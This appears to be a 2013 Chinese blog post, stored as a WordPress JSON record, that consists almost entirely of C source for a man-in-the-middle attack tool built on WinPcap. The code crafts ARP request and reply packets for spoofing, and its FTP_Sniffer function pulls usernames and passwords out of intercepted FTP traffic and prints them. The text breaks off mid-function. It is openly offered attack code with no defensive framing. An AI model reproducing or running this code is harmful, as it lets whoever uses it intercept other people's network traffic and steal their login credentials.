{"id":46,"date":"2013-10-24T11:54:28","date_gmt":"2013-10-24T11:54:28","guid":{"rendered":""},"modified":"2013-10-24T11:54:28","modified_gmt":"2013-10-24T11:54:28","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=46","title":{"rendered":"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2"},"content":{"rendered":"<p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;windows.h&gt;<br \/>\n#include &lt;pcap.h&gt;<br \/>\n#include &lt;conio.h&gt;<br \/>\n#include &lt;winsock2.h&gt;<br \/>\n#include &lt;iphlpapi.h&gt;<\/p>\n<p>#pragma comment(lib,&#8221;ws2_32.lib&#8221;)<br \/>\n#pragma comment(lib,&#8221;Iphlpapi.lib&#8221;)<br \/>\n#pragma comment(lib,&#8221;pcap.lib&#8221;)<\/p>\n<p>typedef struct DLC_Header<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char DesMAC[6];&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char SrcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short EtherType;&nbsp;&nbsp;&nbsp; \/\/\u5e27\u7c7b\u578b<br \/>\n} DLCHEADER;<\/p>\n<p>typedef struct ARP_Frame<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short HW_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u786c\u4ef6\u7c7b\u578b<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short Prot_Type;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char HW_Addr_Len;&nbsp;&nbsp;&nbsp; \/\/MAC\u5730\u5740\u957f\u5ea6<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char Prot_Addr_Len;&nbsp; \/\/IP\u5730\u5740\u957f\u5ea6<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short Opcode;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u64cd\u4f5c\u7801,01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/p>\n<p>&nbsp;&nbsp;&nbsp; unsigned char Send_HW_Addr[6]; \/\/\u53d1\u9001\u7aefMAC\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char Send_Prot_Addr[4];&nbsp;&nbsp; \/\/\u53d1\u9001\u7aefIP\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char Targ_HW_Addr[6]; \/\/\u76ee\u6807MAC\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char Targ_Prot_Addr[4];&nbsp;&nbsp; \/\/\u76ee\u6807IP\u5730\u5740<br \/>\n} ARPFRAME;<\/p>\n<p>typedef struct ipheader<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_hl:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*header length(\u62a5\u5934\u957f\u5ea6\uff09*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_v:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*version(\u7248\u672c)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_tos;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*type os service\u670d\u52a1\u7c7b\u578b*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_len;&nbsp;&nbsp;&nbsp;&nbsp; \/*total length (\u603b\u957f\u5ea6)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_id;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*identification (\u6807\u8bc6\u7b26)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_off;&nbsp;&nbsp;&nbsp;&nbsp; \/*fragment offset field(\u6bb5\u79fb\u4f4d\u57df)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_ttl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*time to live (\u751f\u5b58\u65f6\u95f4)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*protocol(\u534f\u8bae)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_sum;&nbsp;&nbsp;&nbsp;&nbsp; \/*checksum(\u6821\u9a8c\u548c)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_src[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*source address(\u6e90\u5730\u5740)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_dst[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*destination address(\u76ee\u7684\u5730\u5740)*\/<br \/>\n} IP;<\/p>\n<p>typedef struct tcpheader<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int sport;&nbsp;&nbsp;&nbsp; \/*source port (\u6e90\u7aef\u53e3\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int dport;&nbsp;&nbsp;&nbsp; \/*destination port(\u76ee\u7684\u7aef\u53e3\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned int th_seq;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*sequence number(\u5305\u7684\u5e8f\u5217\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned int th_ack;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*acknowledgement number(\u786e\u8ba4\u5e94\u7b54\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char th_x:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*unused(\u672a\u4f7f\u7528)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char th_off:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*data offset(\u6570\u636e\u504f\u79fb\u91cf)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char Flags;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/*\u6807\u5fd7\u5168*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int th_win;&nbsp;&nbsp; \/*windows(\u7a97\u53e3)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int th_sum;&nbsp;&nbsp; \/*checksum(\u6821\u9a8c\u548c)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int th_urp;&nbsp;&nbsp; \/*urgent pointer(\u7d27\u6025\u6307\u9488)*\/<br \/>\n} TCP;<\/p>\n<p>typedef struct<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; pcap_t *hpcap;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u7f51\u5361\u63cf\u8ff0\u5b57<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char myIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u672c\u673aIP<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char myMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u672c\u673aMAC<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char srcIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u6765\u6e90IP<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char srcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u6e90MAC<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char desMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u76ee\u6807MAC<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char desIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u76ee\u6807IP<br \/>\n&nbsp;&nbsp;&nbsp; char **Packet;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u6570\u636e\u5305\u6307\u9488<br \/>\n&nbsp;&nbsp;&nbsp; struct pcap_pkthdr pkthdr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u50a8\u5b58\u6570\u636e\u5305\u5927\u5c0f<br \/>\n} PacketInfo;<\/p>\n<p>BOOL GetAdapterMAC(char *ipbuff,char *macbuff)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; IP_ADAPTER_INFO AdapterInfo[16];&nbsp; \/\/\u5b9a\u4e49\u5b58\u50a8\u7f51\u5361\u4fe1\u606f\u7684\u7ed3\u6784\u6570\u7ec4<br \/>\n&nbsp;&nbsp;&nbsp; DWORD ArrayLength=sizeof(AdapterInfo);&nbsp; \/\/\u7f13\u51b2\u533a\u957f\u5ea6<br \/>\n&nbsp;&nbsp;&nbsp; if(GetAdaptersInfo(AdapterInfo,&amp;ArrayLength)!=ERROR_SUCCESS)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ERROR;<br \/>\n&nbsp;&nbsp;&nbsp; PIP_ADAPTER_INFO PAdapterInfo=AdapterInfo;<\/p>\n<p>&nbsp;&nbsp;&nbsp; do<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!strcmp(ipbuff,PAdapterInfo-&gt;IpAddressList.IpAddress.String)) break;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAdapterInfo=PAdapterInfo-&gt;Next;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; while(PAdapterInfo);<\/p>\n<p>&nbsp;&nbsp;&nbsp; memset(macbuff,NULL,6);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(macbuff,PAdapterInfo-&gt;Address,6);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u83b7\u53d6\u7f51\u5361MAC\u5730\u5740<\/p>\n<p>&nbsp;&nbsp;&nbsp; return TRUE;<br \/>\n}<\/p>\n<p>char *iptos(u_long in)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; static char output[12][3*4+3+1];<br \/>\n&nbsp;&nbsp;&nbsp; static short which;<br \/>\n&nbsp;&nbsp;&nbsp; u_char *p;<\/p>\n<p>&nbsp;&nbsp;&nbsp; p = (u_char *)&amp;in;<br \/>\n&nbsp;&nbsp;&nbsp; which = (which + 1 == 12 ? 0 : which + 1);<br \/>\n&nbsp;&nbsp;&nbsp; sprintf(output[which], &#8220;%d.%d.%d.%d&#8221;, p[0], p[1], p[2], p[3]);<br \/>\n&nbsp;&nbsp;&nbsp; return output[which];<br \/>\n}<\/p>\n<p>BOOL ChooseDev(char *devbuff,int buffsize,char *ipbuff)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; pcap_if_t *alldevs=NULL,*p=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char errbuff[PCAP_ERRBUF_SIZE];<br \/>\n&nbsp;&nbsp;&nbsp; int i,choose;<br \/>\n&nbsp;&nbsp;&nbsp; pcap_addr_t *a=NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; memset(devbuff,NULL,buffsize);<br \/>\n&nbsp;&nbsp;&nbsp; if(pcap_findalldevs(&amp;alldevs,errbuff)==-1)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ERROR;<\/p>\n<p>&nbsp;&nbsp;&nbsp; for(p=alldevs,i=0; p; p=p-&gt;next)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;%d.%s(%s)\\n&#8221;,++i,p-&gt;name,p-&gt;description);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((a=p-&gt;addresses))<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(a-&gt;addr-&gt;sa_family)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case AF_INET:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;Address Family Name: AF_INET\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (a-&gt;addr)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/* Y- IP \u5730\u5740 *\/<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;Address: %s\\n&#8221;,iptos(((struct sockaddr_in *)a-&gt;addr)-&gt;sin_addr.s_addr));<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (a-&gt;netmask)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/* Y- \u63a9\u7801 *\/<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;Netmask: %s\\n&#8221;,iptos(((struct sockaddr_in *)a-&gt;netmask)-&gt;sin_addr.s_addr));<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/* \u672a\u77e5 *\/<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;Address Family Name: Unknown\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; do<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fflush(stdin);<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; while(scanf(&#8220;%d&#8221;,&amp;choose)!=1 || choose&lt;1 ||choose&gt;i);<\/p>\n<p>&nbsp;&nbsp;&nbsp; for(p=alldevs,i=1; i!=choose; p=p-&gt;next,i++);<br \/>\n&nbsp;&nbsp;&nbsp; strcat(devbuff,p-&gt;name);<br \/>\n&nbsp;&nbsp;&nbsp; memset(ipbuff,NULL,15);<br \/>\n&nbsp;&nbsp;&nbsp; a=p-&gt;addresses;<br \/>\n&nbsp;&nbsp;&nbsp; strcat(ipbuff,iptos(((struct sockaddr_in *)a-&gt;addr)-&gt;sin_addr.s_addr));<br \/>\n&nbsp;&nbsp;&nbsp; pcap_freealldevs(alldevs);<\/p>\n<p>&nbsp;&nbsp;&nbsp; return TRUE;<br \/>\n}<\/p>\n<p>void Fill_ARPPACKET(char *ARPPacket,int packetsize,char *desmac,char *desIP,char *srcmac,char *srcip,int op)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; \/*<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *ARPPacket&nbsp;&nbsp;&nbsp; \u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; packetsize&nbsp;&nbsp; \u6570\u636e\u5305\u5927\u5c0f<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *desmac \u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *desIP&nbsp; \u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *srcmac \u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *srcip&nbsp; \u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; op&nbsp;&nbsp;&nbsp;&nbsp; ARP\u5305\u7c7b\u578b<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *\/<br \/>\n&nbsp;&nbsp;&nbsp; DLCHEADER *DLCHeader=(DLCHEADER *)ARPPacket;<br \/>\n&nbsp;&nbsp;&nbsp; ARPFRAME *ARPFrame=(ARPFRAME *)(ARPPacket+sizeof(DLCHEADER));<br \/>\n&nbsp;&nbsp;&nbsp; memset(ARPPacket,NULL,packetsize);&nbsp; \/\/\u6e05\u7a7a\u5305\u5185\u5bb9<br \/>\n\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; if(op==1)&nbsp;&nbsp;&nbsp; \/\/\u8868\u793aARP\u8bf7\u6c42\u5305.<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp; \/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; else<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(DLCHeader-&gt;DesMAC,desmac,6);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; \/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);<br \/>\n&nbsp;&nbsp;&nbsp; \/\/\u586b\u5145ARP\u5305\u6e90IP<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);<br \/>\n&nbsp;&nbsp;&nbsp; DLCHeader-&gt;EtherType=htons((unsigned short)0x0806);&nbsp;&nbsp;&nbsp; \/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae<br \/>\n&nbsp;&nbsp;&nbsp; ARPFrame-&gt;HW_Addr_Len=(unsigned char)6;<br \/>\n&nbsp;&nbsp;&nbsp; ARPFrame-&gt;Prot_Addr_Len=(unsigned char)4;<br \/>\n&nbsp;&nbsp;&nbsp; ARPFrame-&gt;HW_Type=htons((unsigned short)1);<br \/>\n&nbsp;&nbsp;&nbsp; ARPFrame-&gt;Opcode=htons((unsigned short)op);&nbsp;&nbsp; \/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<br \/>\n&nbsp;&nbsp;&nbsp; ARPFrame-&gt;Prot_Type=htons((unsigned short)0x0800);<br \/>\n}<\/p>\n<p>typedef struct<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; \/\/\u5b58\u653e\u55c5\u63a2\u5230\u7684\u6570\u636e<br \/>\n&nbsp;&nbsp;&nbsp; char srcip[16];<br \/>\n&nbsp;&nbsp;&nbsp; char desip[16];<br \/>\n&nbsp;&nbsp;&nbsp; char username[50];<br \/>\n&nbsp;&nbsp;&nbsp; char password[50];<br \/>\n} Sniffer_Result;<\/p>\n<p>void FTP_Sniffer(char *Packet,int packetsize)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; static Sniffer_Result result= {0};<br \/>\n&nbsp;&nbsp;&nbsp; IP *IPHeader=(IP *)Packet;<br \/>\n&nbsp;&nbsp;&nbsp; TCP *TCPHeader=(TCP *)(Packet+sizeof(IP));<br \/>\n&nbsp;&nbsp;&nbsp; char *data=(char *)(Packet+sizeof(IP)+sizeof(TCP));<br \/>\n&nbsp;&nbsp;&nbsp; Packet[packetsize-2]=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char *p=NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(strlen(data)&gt;4 &amp;&amp; (p=strstr(data,&#8221;USER&#8221;)))<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strlen(result.username)&lt;1)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(result.srcip,inet_ntoa(*(struct in_addr *)IPHeader-&gt;ip_src));<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(result.desip,inet_ntoa(*(struct in_addr *)IPHeader-&gt;ip_dst));<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(result.username,p+5);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; if(strlen(data)&gt;4 &amp;&amp; (p=strstr(data,&#8221;PASS&#8221;)))<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(strlen(result.username)&gt;0)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(result.password,p+5);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;FTP:\\n\u6765\u6e90\u5730\u5740:%s\\n\u76ee\u6807\u5730\u5740:%s\\nUSER:%s\\nPASS:%s\\n&#8221;,result.srcip,result.desip,\\<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; result.username,result.password);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(&amp;result,NULL,sizeof(Sniffer_Result));<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; return;<br \/>\n}<\/p>\n<p>DWORD WINAPI filter(PVOID Parameter)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize);<br \/>\n&nbsp;&nbsp;&nbsp; PacketInfo PI=*(PacketInfo *)Parameter;<br \/>\n&nbsp;&nbsp;&nbsp; char *Packet=NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; if((Packet=(char *)malloc(PI.pkthdr.caplen*sizeof(char)))==NULL) return -1;<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(Packet,*PI.Packet,PI.pkthdr.caplen);<br \/>\n&nbsp;&nbsp;&nbsp; *PI.Packet=NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; DLCHEADER 